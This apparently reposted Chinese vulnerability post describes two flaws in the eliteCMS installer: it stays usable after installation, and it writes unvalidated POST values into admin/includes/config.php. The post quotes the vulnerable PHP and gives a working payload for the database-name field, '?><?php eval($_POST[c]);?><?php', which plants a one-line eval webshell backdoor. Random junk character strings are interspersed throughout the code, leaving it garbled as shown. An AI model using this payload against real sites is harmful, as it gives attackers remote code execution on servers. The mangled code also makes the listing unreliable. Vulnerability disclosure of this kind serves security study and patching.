eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
. q9 ?1 |! ~5 K& V我们来看代码：

...
% A; Z" z4 a9 T8 relseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
    $write = "<?php\n";
    $write .= "/**\n";
- H+ l6 P& o/ D( P' C$ C2 u4 I    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
+ L: v2 R0 T, }- ]- g7 H...略...
5 l: L/ O6 V# Z  w    $write .= "*\n";
    $write .= "*/\n";
    $write .= "\n";
5 N5 B  a) u7 J+ b    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
3 n7 {9 q/ g2 J3 V5 z% y    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
! L2 T( Y% S. t; v8 J    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
3 v& j: Y3 f, y6 H2 P8 d& f    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
% j5 Z1 f7 x" @9 g' g2 m    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
; q5 e8 b6 |0 R9 R    $write .= "        \n";
+ e& q$ P3 _/ T    $write .= "} \n";
1 @" I, ~$ i+ y; u    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
# w! J% E4 w6 j$ y# T4 v    $write .= "        \n";
) \, m! H) H0 Y" ]# w) U    $write .= "} \n";
    $write .= "?>\n";
9 r7 A- U9 h6 H( X' D! @) J2 u
+ S; v% n* k6 G' n3 G" I/ R    $writer = fopen($file, 'w');
...

) h& S. d% M# w7 H# Q) {在看代码：
7 f9 o: h8 _% D# Q
0 x0 g) i4 f4 O$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
- {9 j- {$ Y/ y
取值未作任何验证
4 |0 k6 _$ {5 x9 s! z如果将数据库名POST数据：

"?><?php eval($_POST[c]);?><?php

" |! l, x7 v' R; s将导致一句话后门写入/admin/includes/config.php